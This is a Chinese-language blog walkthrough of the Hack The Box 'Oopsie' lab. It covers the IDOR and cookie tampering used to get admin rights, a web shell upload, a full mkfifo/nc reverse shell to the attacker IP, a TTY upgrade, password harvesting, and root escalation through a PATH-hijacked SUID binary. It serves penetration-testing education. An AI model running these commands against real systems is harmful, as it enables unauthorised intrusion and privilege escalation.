HTB-oopsie靶场练习
靶机地址: 10.129.130.57
攻击机地址: 10.10.14.185
端口扫描
nmap -sV -sC 10.129.130.57
访问10.129.130.57, 对一些可能有用的信息进行记录
打开burp, 刷新网页, 点击HTTP history,注意到/cdn-cgi/login/script.js
试着访问http://10.129.130.57/cdn-cgi/login/script.js,页面没有内容
访问http://10.129.130.57/cdn-cgi/login/,发现登录后台
帐号admin,试着进行弱密码爆破,但失败了
点击游客登录
对url的id值进行变换,最后在id=1处发现admin用户的相关信息
继续查看其它模块,发现在uploads模块中,发现需要管理员权限才能上传文件
F12进入控制台,点击storge,查看cookie,此时为游客权限
试着把cookie修改为刚才从account模块下得到的数据,刷新页面,完成纵向越权
将以下shell文件上传
上传成功
对靶机进行目录扫描,寻找php文件
gobuster dir -u http://10.129.130.57/ -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt -x php
-u: 指定url
-w: 指定字典
-x: 指定文件后缀
发现一个/uploads目录
访问http://10.129.130.57/uploads/shell.php?cmd=whoami
使用nc监听8888端口
nc -lnvp 8888
浏览器输入:
10.129.130.57/uploads/shell.php?cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.185 8888 >/tmp/f
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.185 8888 >/tmp/f
// 这是一段反向shell,mkfifo 命令首先创建了一个管道,cat 将管道里面的内容输出传递给/bin/sh,sh会执行管道里的命令并将标准输出和错误输出结果通过nc传到该管道,形成了一个回路
// nc反向shell原理:被控端使用nc将/bin/sh发送到控制端的8888端口,控制端监听本地的8888端口,获得shell
如果终端没有响应,可用burp进行抓包重放,ctrl+u对参数进行unicode编码
连接成功
查看/etc/passwd文件,robert像是个用户
因为该shell不是交互式的,无法自动补全命令,无法移动光标等问题,且缺少tty,没有上下文环境,但该机器上存在python,所以使用python pty进行tty提升
python3 -c 'import pty;pty.spawn("/bin/bash");' // 提升tty
获得更多访问权限后,ctrl+z将其放入后台
输入stty raw -echo;fg(fg是把后台的nc -lnvp调回前台)
输入export TERM=linux清除控制台
此时shell可交互,我们拥有tab键自动补全功能,也可以自由使用方向键
进入/var/www/html/cdn-cgi/login目录
输入grep -i “password” *
在当前目录下的所有文件中匹配password
*为当前目录,-i为不区分大小写
在/etc/passwd中没有发现admin用户,所以该密码无法在本台机器上登录
查看db.php,发现用户robert的密码
登录robert
到用户目录下,查看user.txt文件
查找group为bugtracker可调用的程序有哪些
find / -group bugtracker 2>/dev/null
/dev/null:写入该文件的数据不会被存储,通常用来丢弃数据
Linux系统预留可三个文件描述符0、1和2
含义:0→标准输入、1→标准输出、2→标准错误
2>/dev/null: 把错误信息丢弃
查看文件信息
ls -la /usr/bin/bugstracker
该文件的所有者为root,具有s(suid)权限位
s权限位:使文件在执行阶段具有文件所有者的权限,相当于临时拥有文件所有者的身份.
例: 典型文件/etc/passwd, 如果一般用户执行该文件, 则在执行过程中, 该文件可以获得root权限更改用户的密码.
输入bugstracker执行该命令, 并测试一些id
注意到cat: /root/reports/8888, 该命令使用cat来寻找该文件,并打印文件,但cat命令依赖path环境变量
输入echo $PATH,查看当前环境变量
在使用cat命令时,先从/usr/local/sbin下寻找该命令,如果没有找到,再从/usr/local/bin下寻找,以此类推到/usr/local/games,直到最后一个目录下也没找到该命令,就在终端输入command not found
进入tmp目录下,创建cat文件,cat文件中的内容为/bin/bash
使用chmod给改文件增加执行权限(x)
将tmp目录加入到环境变量$PATH
再次执行bugstracker,输入id
cat命令调用时,在tmp目录下被找到,并以root身份执行/bin/bash,提权成功
在/root/目录下找到root.txt
posted on 2023-09-06 20:20 Wav3W1nd50r 阅读(65) 评论(0) 编辑 收藏 举报